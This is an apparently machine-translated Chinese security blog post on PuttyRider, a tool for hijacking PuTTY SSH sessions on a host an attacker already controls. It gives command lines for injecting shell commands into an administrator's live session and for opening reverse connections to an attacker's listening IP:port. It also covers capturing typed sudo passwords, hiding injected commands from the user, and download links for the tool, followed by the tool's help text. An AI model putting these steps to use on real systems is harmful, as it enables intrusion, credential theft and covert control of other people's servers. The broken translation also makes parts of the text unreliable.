Putty's nightmare-penetration tool puttyrider use experience sharing

When we invade to a host, we often see the administrator's desktop will be put Putty.exe, which indicates that there is a great possibility that the administrator is using Putty Remote management host.

This tool is mainly aimed at the use of SSH client putty, using DLL injection method, to achieve a variety of wretched use posture.

I'll show you the three usage scenarios for the tool in turn

1) When you control the host remotely, the administrator just connects the remote host with putty

This scenario, we just inject the command directly into the current putty process, can be exploited, very simple, the disadvantage is no echo.

Use Puttyrider.exe–l to view the remote host information that putty is connecting to in the current process, not only to get the IP address and Putty process number of the remote host.

It is also possible to see the current No in the injected column, indicating that we have not yet injected the process.

We use puttyrider.exe–p 0–f–c ifconfig to inject the ifconfig command into the current Putty session to achieve the purpose of remote command execution.

Again puttyrider.exe–l look, found that the injected column is yes, indicating that our injection process has been successful.

2) See the Administrator's input in real time using bounce mode

In addition to using the first method of direct injection of commands, we can also bounce out, real-time to see the other administrator in the putty input, even if the management input sudo this command, we can also see his input plaintext password.

However, this use of the premise is that the other administrator is using putty connected to the host can bounce to the IP address you listen to, the firewall is not very restrictive.

Puttyrider.exe–p 0–r My listening IP: port

After execution, we can see the results.

3) My luck is not so good, the other side administrators are currently not using putty to manage remote hosts

This should be the most common, the software author also consider, give us a-w parameter, he will let Puttyrider backstage monitor the new process, and then bounce to our host, but also can see the other side of the operation, including the input account

Puttyrider.exe–w–r My listening IP: port number

When this command is executed, the next time the administrator turns on Putty again, we'll be able to see her shell on the 9999 port we're listening to.

Finally, if you want to study the tool details of the children's shoes, you can

Https://codeload.github.com/seastorm/PuttyRider/zip/master Download the source code, in-depth study:)

A compiled binary file can be

Https://github.com/seastorm/PuttyRider/releases/download/0.1/PuttyRider-bin.zip Download

==========================================================================

Security Pulse SP Editor to provide advanced presentation documentation and basic parameters using:

Documentation

• Defcamp presentation–pdf
• Defcamp Presentation–video

Usage

Operation modes:-L LIST The running Putty processes and their connections-w Inject in all existing Putty Sessions and wait for new sessions to inject in those also-p PID inject only in existing Putty session ID            Entified by PID. If pid==0, inject in the first Putty found-x Cleanup. Remove the DLL from all running Putty instances-d Debug mode. Only works With-p mode-c CMD automatically execute a Linux command after successful injection puttyrider  Would remove trailing spaces and ' & ' character from CMD Puttyrider would add: "1>/dev/null 2>/dev/null & to Cmd-h Print this helpoutput modes:-F Write all Putty conversation to a file in the local                Directory.  The filename'll has the PID of current Putty.exe appended-r ip:port Initiate A reverse connection to the specified Machine and start an interactive session. Interactive Commands (After you receive a reverse connection):!status See if the Putty window was connected to user input!discon D Isconnect the main Putty window so it won ' t display anything this is useful to send commands without the US    Er to notice!recon reconnect the Putty windows to its normal operation mode CMD Linux shell commands !exit Terminate This connection!help Display Help for Client connection

"This article source: 360 vulnerability Broadcast author Mickey SP Editor-in-chief release"

Reprint Please specify: safety pulse»putty nightmare-penetration tool Puttyrider use experience to share

 

Putty's nightmare-penetration tool puttyrider use experience sharing